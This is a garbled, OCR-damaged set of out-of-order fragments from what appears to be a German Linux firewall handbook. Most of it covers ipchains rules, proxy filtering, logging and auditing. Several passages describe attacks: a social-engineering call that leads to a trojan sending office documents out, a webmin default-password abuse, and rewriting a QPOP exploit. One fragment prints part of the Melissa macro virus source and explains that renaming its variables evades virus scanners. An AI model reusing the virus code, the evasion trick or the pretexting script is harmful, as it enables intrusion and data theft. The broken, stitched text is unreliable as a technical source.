70. RAW Sockets notwendig Es geh rt auch viel Zeit dazu die unz hlbaren Referenzbeschreibungen von Mechanismen und Protokollen RFC s und evtl Tips aus BUGTRAQ LOPHT NOMAD PHRACK zu ziehen Die Einarbeitung erfordert schon einige Monate es sind aber auch durchaus schnelle Erfolge bei DoS Angriffen nach wenigen Stunden zu erzielen vor allem wenn man stets die neuesten Beitr ge in BUGTRAQ www geek girl com ausprobiert Die exploits liegen meist mit bei Es ist dringendst empfohlen t glich stets die einschl gigen Internet Sites nach Exploits zu durchsuchen und evtl Patches einzuspielen 23 6 Beispiele Angriffe auf Firewalls Ein professioneller Angreifer sucht sich stets die schw chste Stelle einer Firewall aus Das k nnen fehlerhafte Firewall Regeln sein M ngel im Design des Firewallaufba us Fehler in PROXY s u s w Um diese ausnutzen zu k nnen ben tigt ein Angreifer m glichst pr zise Angaben ber verwendete Hardware Betriebssystem Versionsnummern Patch Level eingesetzte Software Informationen ber Netzwerkinfrastruktur Know How der Erstellt von Doc Gonzo http kickme to plugins Administratoren u s w Ziel ist es einen Angriff m glichst pr zise vorausplanen zu k nnen und Werkzeuge zu schreiben die die Firewall durchl ssig machen Eventuelle Fehlversuche erh hen das Risiko entdeckt zu werden da Firewalls gut kontrolliert werden Die Wahrscheinlichkeit ein Sicherheitsproblem zu finden ist relativ ho
71. Regel j REDIRECT ein Port angegeben werden auch wenn das Paket an einen anderen Port weitergeleitet wurde Diese Erstellt von Doc Gonzo http kickme to plugins Anweisung kann nur in der input chain verwendet werden Sinnvoll kann diese Option zur Umleitung von Paketen auf Port 80 auf einen Proxy Server auf Port 8080 sein Bei UDP Paketen k nnen diese an den UDP nach TCP Umsetzer udprelay bergeben werden um Protokolle wie NFS NIS YP sicherer gegen Angriffe zu machen Diese Option kann auch auf Filter zeigen die auf der Firewall installiert wurden um JAVA und Active X aus dem Datenstrom herauszufiltern ohne auf einen Proxy verzichten zu m ssen quasi als Kaskade von Proxy und Filter Bitte beachten Diese Option funktioniert zuverl ssig nur mit der Kernelversion 2 2 Ein Update von RedHat Linux 5 2 auf die neue Kernelversion ist aber problemlos Updates und Patches findet man auf den Seiten von RedHat Zum Schlu kommt die Anweisung RETURN Diese Anweisung besagt da alle folgenden Regeln ber gangen werden k nnen Weitere Details in dem Abschnitt Aufsetzen der Policy Alle weiteren Anweisungen die nicht diesen sechs entsprechen zeigen auf eine User definierte Regel Die Bedeutung dieser Anweisungen wird in Anweisungen die auf eine chain wirken Das Paket wird alle Regeln in der chain durchlaufen bis sich eine Regel findet die beschreibt was mit dem Paket geschehen soll Dieses Beispiel zeigt Regeln die ke
72. Seri sit t von Security Consultants 32 Was Hersteller kommerzieller Firewalls verschweigen 33 Firewall Auditing 34 Werkzeuge f r Auditing 35 Die GRAPHICAL Firewall eine unkonventionelle L sung 36 Stories zum Nachdenken e 36 1 Fehlkonfiguration in einem s ddeutschen Elektrogro handel e 36 2 Sicherheit der PIN CODES von Chipkarten e 36 3 Die Forschungsabteilung eines Chemieunternehmens 37 L sungen f r die in diesem Handbuch aufgef hrten Sicherheitsprobleme 38 Danksagung an alle LINUX ler Erstellt von Doc Gonzo http kickme to plugins 1 Neue Kapitel und Erg nzungen Charlie Kaufman says Firewalls are the wrong approach They don t solve the general problem and they make it very difficult or impossible to do many things On the other hand if were in charge of a corporate network I d never consider hooking into the Internet without one And if were looking for a likely financially successful security product to invest in I d pick firewalls Im Prinzip ist dem nichts hinzuzufiigen Ich verwende dieses Zitat gerne deswegen weil es den Nagel auf den Kopf trifft Eine Firewall sch tzt im Prinzip vor nichts Dabei ist es v llig egal von welchem Hersteller oder welcher Person diese Firewall installiert wurde Eine Firewall kann aufgrund der M glichkeit den Datenverkehr mit zu loggen nat rlich feststellen ob und wohin evtl Daten von Crackern entf hrt wurden Ob ein Einbruch bemerkt wird ist nat
73. Server die News zu anderen Servern bertragen benutzen Portnummern ber 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen ein TCP gt 1023 119 SYN ACK aus TCP 119 gt 1023 ACK aus TCP gt 1023 119 SYN ACK ein TCP 119 gt 1023 ACK intern TCP gt 1023 119 SYN ACK intern TCP 119 gt 1023 ACK 1 Eingehende News ACK gesetzt au er im ersten Paket DAnNPWN RE 2 Eingehende News Antwortworten ACK geseizt Erstellt von Doc Gonzo http kickme to plugins 3 Ausgehende News ACK gesetzt au er im ersten Paket 4 Ausgehende News Antworten ACK gesetzt 5 Client zum lesen von News Newsreader ACK gesetzt au er im ersten Paket 6 Server sendet Artikel zu einem News Reader ACK gesetzt NNTP PROXY Wir betrachten hier das PROXY Regelwerk zwischen einem NEWS FEED Server des Providers und dem internen NEWS Server Zum Empfang und Senden von NEWS m ssen ein und ausgehende Pakete erlaubt sein Da NEWS Server komplexe Funktionen besitzen sollte man folgende Regeln beachten e Den BASTION HOST m glichst nicht auch als NEWS SERVER benutzen e Automatische Erzeugung von Gruppen unterbinden e PaBwort IP Beschr nkung gegen Mi brauch aus dem Internet e Niemals einen NEWS Server ohne Verbindung ber PROXY im Intranet betreiben e Niemals den NEWS Server ohne UID und CHROOT betreiben Regel Richtung Protokoll Quellport Zielport Kommentar 1 Server TCP gt 1023 119 Aktion zulassen ACK beliebig
74. System ist von innen heraus einfach mit webmin via Netscape zu konfigurieren Installiert wurde es auf Port Erstellt von Doc Gonzo http kickme to plugins 10000 wie als default vorgegeben 4 Wochen nach Installation war das System geknackt und der User root gel scht Was war passiert Ein Surfer im Netzwerk hatte eine Seite geladen die aus 2 Frames bestand und durch JAVA SKRIPT erg nzt war Netscape baute 2 Verbindungen auf eine in das Internet und eine zur Firewall Hier ffnete ein JAVA Applet den Port 10000 loggte sich als admin mit dem Pa wort admin ein und startete das PerlSkript welches f r User Administration zust ndig ist und l schte so den User root Ein Zufallstreffer aber sicher ist dieser Trick h ufiger anwendbar als allgemein vermutet Mit gr erer Wahrscheinlichkeit gelingt aber ein von innen initiierter buffer overflow z B auf den POP3 D mon Hierzu mu man wissen da S u S E LINUX 5 2 ein Problem mit dem QUALCOMM POP D mon hatte Alternativ k nnte man auch einen aktuellen Exploit auf mountd inetd oder portmap nehmen Auf dieser Firewall ist mit hoher Wahrscheinlichkeit dieser POP D mon installiert und nach innen hin aktiv Also wird ein Angreifer diesen exploit namens QPOP ein wenig umschreiben Erstens wird er bin bash in sbin ipfwadm If ping www domain com ndern anstelle der Parameter bergabe in der Shell feste IP Nummern einstellen und dieses Programm mit Microsoft VC oder DJGPP k
75. TCP s news provider de nntp und Mail p TCP s mail provider de pop 3 Ich benutze Debian Linux und benutzte FTP um meinen Host regelm ig automatisch upzudaten p TCP y s ftp debian org ftp data Ich surfe im Internet ber den Proxy des Providers p TCP d proxy provider de 8080 aber ich mag keine Werbung von doubleclick net auf dem Archiv von Dilbert p TCP y d 199 95 207 0 24 amp p TCP y d 199 95 208 0 24 Ich m chte nicht da Leute aus dem Internet mit FTP auf meinen Host zugreifen w hrend ich online bin p TCP d SLOCALIP ftp aber ich m chte auch nicht da eventuell jemand auf meinen Host mit gespooften IP Nummern zugreift IP Nummern Erstellt von Doc Gonzo http kickme to plugins aus dem internen Netzwerk auf dem externen Interface s 192 168 1 0 24 Siehe hierzu auch Kapitel Anti Spoof Regeln Dieses Setup ist recht einfach da der LINUX Host keine anderen Hosts im internen Netzwerk sch tzen mu Ich m chte auch nicht da irgendein Programm sich mit doubleclick net verbindet um Banner einzublenden ipchains A output d 199 95 207 0 24 j REJECT ipchains A output d 199 95 208 0 24 j REJECT Nun m chte ich Priorit ten auf verschiedenste ausgehende Pakete setzen Es gibt nicht so viel sinnvolle Regeln f r eingehende Pakete Da ich eine sehr bersichtliche Zahl von Paketen habe ist es sinnvoll diese in einer chain unterzubringen die ich ippp out nenne ipchains N
76. Taskmanager nicht weiter auff llt da es auch findfast findfast erscheint auch so fter mal mehrmals genannt wurde Das eingeschleuste Programm kontrolliert die routen des Kernels DOS SHELL route _ print stellt fest da eines oder mehrere Gateways aktiv sind und sendet in dem Moment wenn eine ISDN Verbindung besteht flei ig WinWord und Excel Dokumente als gezippte ASCII Datei zu einem unbekannten Server im Internet Das EXE File ist zwar ein Selbstextrahierendes ZIP File nur kommt es aber nicht von PKWARE Es ist ein Eigenbau welcher auf freien Quellen basiert Dieses Programm k nnte sich auch z B an Netscape exe oder explorer exe angeh ngt haben soda es stets mit startet Es wartet wenn die ISDN Verbindung unterbrochen wird Es w re auch m glich gewesen ein kleines Programm wie BO mit Plugins oder NetBUS zu installieren welches sich stets zu den Zeiten meldet wenn der User online ist und somit unauff llig Fernadministration zul sst Da nur bekannte trojanische Pferde von den Virenscannern erkannt werden bleibt die Installation unentdeckt Durch Hinzuf gen einer L schroutine lassen sich s mtliche Spuren wieder beseitigen Die Erstellung eines solchen trojanischen Pferdes ist relativ einfach sofern man die Quellen kennt und ein wenig programmieren kann und gen gend Einfallsreichtum besitzt Dank ausgereifter Compiler und umfangreichen freien Bibliotheken ist noch nicht einmal der Einsatz von original Microsoft
77. Tolnfect CodeModule AddFromString Private Sub Document_Open Do While NTI1 CodeModule Lines BGN 1 lt gt Tolnfect CodeModule InsertLines BGN NTI1 CodeModule Lines BGN 1 BGN BGN 1 Loop End If CYA If NTCL lt gt 0 And ADCL 0 And InStr 1 ActiveDocument Name Document False Then ActiveDocument SaveAs FileName ActiveDocument FullName Elself InStr 1 ActiveDocument Name Document lt gt False Then ActiveDocument Saved True End If WORD Melissa written by Kwyjibo Works in both Word 2000 and Word 97 Worm Macro Virus Word 97 Virus Word 2000 Virus You Decide Word gt Email Word 97 lt gt Word 2000 it s a new age If Day Now Minute Now Then Selection TypeText Twenty two points Erstellt von Doc Gonzo http kickme to plugins plus triple word score plus fifty points for using all my letters Game s over I m outta here End Sub Wer sich den Quellcode einmal genauer anschaut der wird feststellen da die Programmierung doch recht einfach ist Die BASIC Zeilen kann sich nun jeder nach einen eigenen Vorstellungen geringf gig ver ndern um quasi ein neues trojanisches Pferd zu kreieren welches von aktuellen Virenscannern nicht mehr erkannt wird Wer nun noch mit Suchen Ersetzen einige Variablennamen und Funktionen umbenennt der hat damit Erkennungsalgorithmen vieler Virenscanner au er Gefecht gesetzt obwohl der Makrovirus immer noch derselbe ist Wer diese Gefahren um
78. Um dieses feststellen zu k nnen sollte man im Filesystem nach proc net ip_fw_chains suchen Ist diese Datei vorhanden so ist keine neue Kompilierung des Kernels mehr notwendig Der folgende Abschnitt kann also bergangen werden Hier sind die Kernel Optionen f r die Kernel Versionen 2 0 noch einmal grob angegeben Die genauen Optionen zur Einstellung des Kernels sind im Kapitel Kerneloptionen genauer beschrieben Hier also nur ein kleiner berblick CONFIG_EXPERIMENTAL y CONFIG_FIREWALL y CONFIG_IP_FIREWALL y CONFIG_IP_FIREWALL_CHAINS y F r die Kernel Versionen 2 2 CONFIG_FIREWALL y CONFIG_IP_FIREWALL y Das Konfigurations und Administrationswerkzeug ipchains ist das Werkzeug zur Kommunikation zwischen User und Kernel Hier ber wird dem Kernel mitgeteilt was er zu filtern hat 12 7 Beschreibung des ipchains Administrationswerkzeuges Dieses Werkzeug ersetzt das ipfwadm Programm in lteren Linux Firewalls Das Paket enth lt ebenfalls ein Shell Skript namens ipfwadm wrapper welches es erlaubt Erstellt von Doc Gonzo http kickme to plugins Firewall Skripte mit der alten Syntax in dem neuen Kernel zu verwenden Dieses Werkzeug sollte aber ausschlie lich zu Migrationszwecken vom der Kernelversion 2 0 auf die neuere Version 2 2 verwendet werden Die genauen Unterschiede werden im Abschnitt Unterschiede zwischen ipchains und ipfwadm und dem Anschnitte Anwendung des ipfwadm wrapper Skriptes erl utert 12 8 Beschr
79. Verbindung aus dem Intranet zu einem Host ins Internet aufgebaut werden soll also f r welchen Host aus dem Internet Antwortpakete zur ck erwartet werden Die Pakete die aus dem Intranet zur ck in das Intranet gesendet werden ist durch das SYN Bit dann autorisiert Die Firewall mu nur noch schauen ob diese ein ACK Bit besitzen ob die Port Adresse korrekt ist und die IP Nummer stimmt TCP Verbindungen benutzen nach dem 3 Wege Handshake also dem Verbindungsaufbau h here Ports ber 1024 auch unpriviligierte Ports genannt Leider wurde diese Konvention die aus Zeiten der BSD Stacks noch stammt von vielen Herstellern aufgeweicht UDP hingegen hat einen wesentlich kleineren Overhead und ist somit viel schneller insbesondere bei kleineren Datenmengen Daf r besitzt es keinerlei M glichkeit verlorene Pakete zu erkennen und diese wie bei TCP evtl nochmals neu anzufordern UDP Pakete benutzen die Ports die f r den Verbindungsaufbau verwendet wurden auch weiterhin au er die Programme selber haben diesen Mechanismus implementiert F r die Erstellung von Pr fsummen ist ebenfalls das Programm selber verantwortlich Da UDP Pakete ein SYN ACK Mechanismus besitzen kann eine Firewall bei diesen Paketen nicht feststellen ob diese von einem Host im Intranet auch angefordert worden sind Entweder die UDP Ports auf der Firewall sind frei geschaltet oder die Antwortpakete aus dem Internet prallen an der Firewall ab F r DNS mu als ein int
80. Wird bei Auff lligkeiten der Systemadministrator benachrichtigt Wird regelmaBig ein Security Scanner eingesetzt Kann eine Entf hrung von Daten aus dem Netzwerk Uber das Internet Gateway festgestellt werden Kann nachtr glich festgestellt werden welche Daten entf hrt wurden Existiert ein Archiv Ist ein DoS Angriff auf das System m glich Findet eine regelm ige Kontrolle des Internet Gateways statt Werden Datenstr me durch das Internet Gateway gemessen K nnen diese eindeutig bestimmten Usern zugeordnet werden Wie lang ist die l ngste Reaktionszeit des Systemadministrators im Falle einer Verletzung einer Security Policy Kann innerhalb dieser Zeit eine Entf hrung von Daten verhindert werden Von wem Wie Wie wird der Datenschutz gew hrleistet berwachung der Firewall 1 en 10 11 Werden Ereignisse aufgezeichnet Welche Wie erfolgt im Notfall die Benachrich tigung des Systemadministrators Werden Datenstr me gemessen Wie erfolgt eine Benachrichtigung im Falle von Auff lligkeiten Wie ist die Reaktionszeit bei Einbr chen Exisiteren andere Wege Daten mit Servern im Internet auszutauschen Wie werden diese berwacht Sind diese Gateways in die Uberwachung integriert Kann eine Entf hrung von Daten aus dem Netzwerk ber das Internet Gateway festgestellt werden Kann nachtr glich festgestellt werden welche Daten entf hrt wurden Existiert ein Archiv Ist ein DoS
81. Zeitpunkt an Teil des Kernels so als ob es direkt in den Kernel hinein kompiliert worden ware Loadable modules sind eine der besonderen Eigenschaften von LINUX Der Firewall Daemon l uft als unprivilegierter User Proze Er hat keine besonderen Zugriffsrechte au er denen die notwendig sind um mit der Firewall Schnittstelle zu kommunizieren und in Log Dateien zu schreiben Das sfc Programm kann zu Darstellung eines momentanen Abbildes der aktivierten Filterregeln und Variablen der Firewall genutzt werden Die Firewall Pipe wird zur Kommunikation zwischen dem sfc Programm und dem Firewall Daemon genutzt Paket Filter Der Paketfilter der Firewall nimmt an einer Netzwerk Schnittstelle 1 ein IP Paket an welches zur zweiten Netzwerkschnittstelle 2 weitergeleitet werden soll Dies stellt den Normalfall dar wenn die Firewall als Router eingesetzt wird Bei der Ankunft wird das Paket in die Warteschlange der Netzwerkschnittstelle 1 geschickt und dann an den Kernel IP Code bergeben Von dort wird das Kernel Filter Modul aufgerufen ber den Zeiger sf_fw_chk Die sf_fw_chk Funktion gibt die Ergebnisse der Untersuchungen an den Kernel zur ck Hier bergibt sie als Ergebnis wie mit dem IP Paket zu verfahren ist verwerfen zur ckweisen oder annehmen Falls das Paket angenommen ist wird es successive an die Netzwerkschnittstelle 2 gesendet und verl t die Firewall Wenn ein IP Paket das Kernel Filter Modul erreicht d
82. a deny o P udp W EXTERNES_INTERFACE D IPADDR PRIVPORTS ipfwadm O a deny o P icmp W EXTERNES_INTERFACE S IPADDR 5 ipfwadm I a deny o P icmp W EXTERNES_INTERFACE S ANYWHERE 5 13 14 15 16 17 18 D IPADDR Erlaube anderen Verkehr ins Internet ipfwadm O a accept W EXTERNES_INTERFACE S IPADDR Masquerade aktivieren ipfwadm F a masquerade W EXTERNES_INTERFACE S INTRANET echo Firewall aktiv Erstellt von Doc Gonzo http kickme to plugins 9 16 Die Dienste auf einer Firewall Die Firewall soll auch von innen jedem Angreifer m glichst wenig Angriffsfl che bieten in der Datei etc inetd conf sollten m glichst keine Dienste mehr laufen Im Grunde sollte man auch den inetd selber abschalten da auch er Ziel von DoS Angriffen werden kann Einzelne D momen kann man immer auch ohne den inetd starten nebenher gesagt Es werden dann keine D monen mehr gestartet wenn Pakete an einem bestimmten Port eintreffen Dies ist die sicherste Einstellung Da aber immer irgend jemand irgendeinen Dienst nutzen m chte evtl zur Fernwartung so ist es notwendig trotzdem einige Probleme bei der Aktivierung der Dienste zu erl utern Nach au en hin ist es immer kritisch irgendeinen Dienst freizugeben Das hat der Betreiber der Site http www kernelnotes org schmerzlich erfahren m ssen Es ist n mlich jemandem gelungen in den einzigen sicheren Dienst des Servers einzubrechen n mlich SSH Das Problem lag in ein
83. auch die Angabe der Optionen p S d i mit ein Falls ein Paket von dem Typ TCP oder UDP ist dann m ssen eine einzige Quell und Ziel IP Nummer angegeben werden F r ICMP mu die Code Nummer mit angegeben werden ohne die Option f die nicht erlaubt ist in diesem Zusammenhang Wenn das Protokoll TCP ist das Flag f mu das y Flag mit angegeben werden um anzuzeigen da das Testpaket das SYN Bit gesetzt werden soll Dies ist zum Testen unerl lich Hier nun endlich ein praktisches Beispiel um zu testen ob ein TCP Paket mit SYN Flag Initiierung einer Verbindung von unserem Host aus dem Intranet Port 60000 zu dem Host 192 168 1 2 auf Port 80 www auf dem Interface ethO eingehend in die input chain hineingelassen wird Dieses entspricht einem einfachen Verbindungsaufbau f r WWW Erstellt von Doc Gonzo http kickme to plugins ipchains C input p tcp y i ethO s 192 168 1 1 60000 d 192 168 1 2 www packet accepted Es sollte stets auch nicht vergessen werden alle Quellports durchzuprobieren um sicherzugehen da sich kein trojanisches Pferd eingeschlichen hat wie zuletzt im TCP Wrapper kleine Anmerkung Das Testen von vielen Regeln zugleich Manchmal kann ein einziger Test auf mehrere Regeln zutreffen Dies kann auf zwei verschiedene Weisen erfolgen Zuerst mu ein Hostname angegeben werden der in mehrere IP Adressen sich aufl st Siehe Netscape Server 1 Name 20 IP Nummern ipchains wird dar
84. bei allen anderen Protokollen die UDP einsetzen Bei DNS Servern ist dieses ebenfalls m glich da kurze DNS Anfragen ber UDP abgewickelt werden l ngere jedoch ber TCP aus Gr nden der bertragungssicherheit Es sollte also jedem klar sein da ein Angreifer von au erhalb die DNS Server eines Unternehmens auf diese Art und Weise mit gespooften Paketen bez glich den DNS Informationen ausgelieferter Mail MX Eintr ge manipulieren kann Er kann ohne Probleme alle ausgehenden Mails eines Unternehmens auf seinen Server lenken IBM hat sich daher f r die generelle Abwicklung des DNS Verkehrs ber TCP entschieden In vielen F llen k nnen je nach Implementierung von DNS auf der Firewall von au erhalb Informationen ber das interne Netzwerk eingeschleust werden Dieser Trick funktioniert ber additional informations also der Einschleusung weiterer Informationen obwohl nicht danach gefragt wurde Er funktioniert aber auch ber die Manipulation von Clients mit trojanischen Pferden z B ber Makroprogramme unter WINWORD und EXCEL Generell m ssen die PROXY s die solche TCP UDP gemischten Protokolle absichern genaue Kenntnisse ber die Protokollmechanismen und die Art und Zul ssigkeit der bertragenen Daten besitzen Diese Proxy s sind hoch komplex beraus teuer und in vielen F llen z B bei REAL AUDIO REAL VIDEO nach kurzer Zeit schon v llig veraltet Noch etwas schlechter sieht das bei MS Netmeeting und PDC s aus Da
85. bei der SINUS Firewall begrenzt wird F r jede angeforderte Verbindung einer Arbeitsstation ber die Firewall oder ber den PROXY m ssen 2 Handels angefordert werden einen nach innen und einen nach au en LINUX 2 0 und 2 2 hat jedoch eine Beschr nkung auf maximal 1024 Prozesse bzw maximal 1024 Threads Damit noch etwas Raum f r interne Prozesse und D momen brig bleibt solle man nicht erlauben da ein Angreifer mehr als 400 500 Handels verbrauchen kann Wichtig ist auch da ausreichend RAM zur Verf gung steht Mehr als 64 MByte ist jedoch nicht notwendig egal wie viele Clients auf den PROXY zugreifen Sie sehen da man wenn man einen LINUX PROXY oder LINUX ISDN Router aufbaut fast alle Software Kernel und D monen Dienste neu kompilieren mu 21 5 ATM Netzwerke mit LINUX Firewalls ATM Netzwerke besitzen v llig eigene Protokolle die mit LINUX noch nicht zu handeln sind Auch wenn es bereits ATM Karten FORE unter LINUX gibt so bedeutet dies nur da hier ber eine physikalische Verbindung zwischen zwei LINUX Servern hergestellt werden kann auf welcher TCP IP bertragen wird Aufgrund der hohen Nettotransferrate bei ATM 155 MBit scheitert der Einsatz einer LINUX Firewall an dem Durchsatz des PCI BUS Dennoch sind in zahlreichen Firmen bereits SINUS Firewall 1 Cluster im Einsatz die jeweils an den 100 MBit Ausg ngen der ATM Router Switches aufgebaut sind Hiermit l t sich der gesamte Verkehr von Switches ber
86. den Systemadminitratoren v llig unwahrscheinlich Es gibt Millionen AOL und Telekom Kunden wie sollte ein Angreifer zu einem genauen Zeitpunkt die DIAL IN IP Nummer derjenigen Arbeitsstation ausfindig machen k nnen die zu diesem Unternehmen geh rt Unm glich Mitnichten Eine telefonische Anfrage bei einem Mitarbeiter dieser Firma ein gew hnliches Gespr ch Angreifer Ich habe da eine Anfrage Kann ich Ihnen unsere Ausschreibung zusenden Mitarbeiter Ja meine Faxnummer ist Oxxxxyyyyy Angreifer Haben Sie auch E Mail Das ist bequemer Mitarbeiter Ja schicken Sie s an Mitarbeiter23 Firma t online de Erstellt von Doc Gonzo http kickme to plugins Angreifer K nnen Sie gezippte WinWord Files lesen Mitarbeiter Auch das k nnen wir Angreifer OK ich verpack s dann sicherheitshalber in ein selbst extrahierendes EXE File falls wir unterschiedliche Versionen haben Mitarbeiter Wenn Sie meinen Diese Kurze Zeit sp ter ist die E Mail in der Firma angekommen der Mitarbeiter extrahiert das Dokument l t es nach Viren durchsuchen und macht sich an die Arbeit Die ISDN Verbindung bleibt noch ein paar Minuten bestehen danach beendet die Software die Verbindung Am n chsten Tag schaltet der Mitarbeiter seinen PC wie gewohnt an ruft seine E Mail ab surft faxt Was der Mitarbeiter nicht bemerkt hat ist da in der Autoexec xxx Datei stets ein kleines Programm als Treiber mit gestartet wird welches im
87. des Angreifers liegt darin die Erfahrung des Systemadministrators richtig einsch tzen zu k nnen um den Angriff geschickt verbergen zu k nnen Es ist aber keine Frage ob in ein Netzwerk eingebrochen werden kann sondern eher wie lange dies unentdeckt bleiben kann Hierzu ist es dem Angreifer auch m glich eine Arbeitsstation die eine ISDN Karte f r BTX Anschlu eingebaut hat f r die bertragung der Daten des SQL Servers in das Internet zu gebrauchen unter Umgehung der Firewall Es gibt viele Tricks die Angreifer benutzen um Firewalls zu umgehen und Systemadministratoren zu t uschen Hier nun einige davon 23 8 Wie wird ein Angriff verborgen Ein Angriff wird von den wenigsten Systemadministratoren berhaupt bemerkt Grund daf r ist da die Angreifer oft viel erfahrener sind als die Opfer und genau wissen wie man einen Angriff verbirgt Im nachfolgende Abschnitt wird im Detail erkl rt warum Angreifer oft so erfolgreich sind und wie sie dabei vorgehen Nach Sch tzungen werden 95 aller Angriffe auf Internet Server nicht bemerkt 23 9 Blinde Angriffe blind attacks Im Gegensatz zum Erfahrungshorizont eines normalen Anwenders ben tigen Angreifer keine R ckmeldung eines Tastendruckes oder Programms ber den Bildschirm Die uns so vertraut gewordene Tatsache da Computer auf Tastendr cke in Mikrosekunden reagieren und eine direkte R ckmeldung ber den Vollzug des Befehls geben ist f r einen Angreifer er einen
88. die Firewall Pipe und kopiert die Programme an ihren endg ltigen Platz in usr lib Wichtig ist nun das Konfigurationsfile in etc firewall d firewall conf Hier m ssen die Beispiele aus dem samples Verzeichnis angepasst und mit cp samples Beispiel conf nach etc firewall d firewall conf kopiert werden Nun mu das Kernelmodul dem Betriebssytem hinzugef gt werden insmod sf Die Firewall kann nun gestartet werden sfc start Um den Verkehr berwachen zu k nnen kann man folgende Befehle testen tail f var log firewall Die Firewall l t sich so wieder anhalten sfc stop rmmod sf Das Control Panel l t sich so starten sfControl Warnung Bei geladenem Kernelmodul ist jedes forwarden von Paketen unterbunden default policy nach dem Entfernen des Moduls besteht die M glichkeit da die Firewall v llig transparent ist da Kernel forwarding aktiviert wurde Empfohlen ist w hrend der Konfiguration der Firewall das Kabel in Richtung Internet zu ziehen Zur Sicherheit des Firewall Hosts sollte man folgende Dinge beherzigen e Es sollte gen gend Festplattenplatz zur Verf gung stehen e Es sollten keine User accounts vergeben werden e Remote Login s sollten verboten sein Hier zu sind alle User zu l schen au er root die Datei etc securettys und die Konsolen Variablen in Erstellt von Doc Gonzo http kickme to plugins etc login defs anzupassen Zus tzlich sollte man die Datei nologin in mit touch nologin anleg
89. die Logeintr ge zu bereinigen Der SYSLOG D mon besitzt zwar einen Schutz gegen das Fluten mit tausendfach identischen Eintr gen gegen einen geschickten Angriff mit wechselnden Angriffsweisen gibt es aber keinen Schutz Damit die Festplatte nicht voll uft sollte ein logwrapper installiert bzw aktiviert werden Dieser liegt bei jeder neueren Linux Distribution bei und sorgt daf r da die LOG Datei nicht zu gro wird Die Datei etc syslog conf enth lt einige Eintr ge die festlegen in welche Dateien welche Fehlermeldungen einsortiert werden sollen Diese sollte so eingerichtet werden da var log auth Login Versuche aufzeichnet var log secure Verbindungs Versuche aufzeichnet spoofing var log messages weitere Fehlermeldungen aufzeichnet Dann ist es wichtig da die wichtigen D monen so eingestellt wurden da diese auch tats chlich Fehler an den SYSLOGD liefern Einige D monen k nnen n mlich auch in Erstellt von Doc Gonzo http kickme to plugins eigene Dateien schreiben Das betrifft auch den LINUX Firewallkernel Wir gehen aber nun davon aus da alle Events geloggt werden Auf was sollte man in Logfiles achten Nun entscheidend ist es Meldungen die durch fehlerhafte Konfiguration verursacht werden von echten Angriffen unterscheiden zu k nnen Man sollte in der Lage sein einen echten Angriff von einem Portscanner unterscheiden zu k nnen Da es im Internet viele gemeine Quellcodes gibt solle man ein
90. direkt von einem E Mail Server des DFN geladen E Mails werden bei GERT wegen der Vertraulichkeit der Informationen generell verschl sselt PGP Damit sind die Arbeitsstationen im Netzwerk nicht gegen trojanische Pferde gesichert E Mails mit Attachments werden separat auf eine Floppy kopiert und auf einem dedizierten Arbeitsplatzrechner ohne Netzwerkanschlu untersucht Diese Konfiguration die ber lange Jahre von Wolfgang Ley betreut und verbessert wurde hat jahrelang jedem Angriffsversuch standgehalten Die Zahl der registrierten Angriffe geht in die Tausende Dies zeigt da ein vern nftiges Sicherheitskonzept u erst strenge Sicherheitsvorschriften ein vielfaches mehr an Sicherheit bietet als der Einsatz einer Firewall in Verbindung mit einem beliebigen Server Sind die Firewall D monen selber gegen buffer overflows gesichert Genau kann man das nur sagen wenn der Quellcode vorliegt Das TIS FWTK Gautlet hatte z B ein solches Problem welches ber Jahre bestanden hat es ist inzwischen korrigiert Betrachtet man die Aufgaben und Funktionsweisen einer modernen Firewall Authentifizierung Filter so ist klar da theoretisch im Falle da ein Programmierfehler vorliegt eine Firewall ebenso verletzbar ist wie ein normales Betriebssystem Fast alle Firewallhersteller trennen den Firewalld mon der sich zwischen 2 Netzwerkinterfaces im Data Link Layer einklinkt von dem Administrations Programm Der Firewalldamon Filte
91. e DoS auf SHOP Anbieter Erstellt von Doc Gonzo http kickme to plugins e Kenntnisse ber Betriebssysteme Es gibt eine ganze Reihe weiterer Angriffe die etwas mehr Erfahrung seitens des Angreifers erfordern als die alleinige Anwendung einiger Skripte Beispiele findet man auf der Site http www securityfocus com Nachfolger von GEEK GIRL COM wo z B ein DoS Attack auf NAI Gauntlet Firewall 5 0 beschrieben ist Dies ist genau so ein Fall von kombinierten Paketen wo ein IP Paket in ein ICMP Paket verpackt wurde Das Paket vom Typ ICMP 12 ist schon oben in der Liste erw hnt allerdings nicht in Kombination mit einem darin eingepackten IP Paket Business is war nach diesem Motto werden immer mehr ISP s und SHOP Anbieter Opfer von massiver DoS Angriffen Da das business to business Gesch ft stark w chst trifft es hier insbesondere den Gro h ndler oder ISP hart W hrend die DoS Angriffe ber den TCP IP Stack durch den Einsatz von leistungsf higer Hardware und hochwertigen Firewalls recht zuverl ssig abgewehrt werden k nnen so ist zur Abwehr der folgenden Angriffe erheblich mehr KNOW HOW notwendig Hierzu sind interne Informationen ber das zu sch tzende Serverbetriebssystem notwendig um entsprechendes fine tuning vornehmen zu k nnen Genaue Kenntnisse ber Timeout Verhalten TCP IP Stack RAM Verbrauch Bandbreite u s w erst erlauben es einen Server zuverl ssig zu betreiben berlastung eines Servers hinter einer
92. e Plausibilit tskontrollen und Datenaustausch e CISCO PIX Router ICMP IGMP sind eigene Protokolle die auf IP aufsetzen und dem Informationsaustausch zwischen Routern Uber Leitungszustande Erreichbarkeiten von Hosts und der Regelung von Geschwindigkeiten dienen Setzt man einfache ungesicherte UNIX oder NT Server als Router ein so hat man ein groBes Problem mit dem differenzierten Handling von ICMP Codes Beispielsweise ist ein Angreifer in der Lage einem NT Server oder UNIX Server mitzuteilen da die bertragungsgeschwindigkeit zu hoch sei ICMP SOURCE QUENCH woraufhin dieser die Sendegeschwindigkeit beispielsweise halbiert Mehrere solcher Pakete eines Angreifers bringen jeden Server unweigerlich dazu seine Arbeit einzustellen Gute Router CISCO haben counter intelligence Algorithmen eingebaut die genau dieses verhindern sollen Normale Betriebssysteme beherrschen evtl noch die Differenzierung zwischen einigen ICMP Codes ohne jedoch darauf intelligent antworten zu k nnen Hierzu geh ren beispielsweise NT und viele UNIX Derivate Firewalls die auf dem TCP IP Stack dieser Betriebssysteme aufsetzen sind immer in Gefahr einem DoS Angriff zum Opfer zu fallen Das Abschalten von ICMP Source Quench ist nicht zu empfehlen da z B beim schnellen Auftreffen von Paketen auf eine langsame Leitung diese v llig berlastet w rde Andererseits l uft man mit ICMP Source Quench in Gefahr Opfer eines DoS Angriffs zu Erstellt von Doc Gon
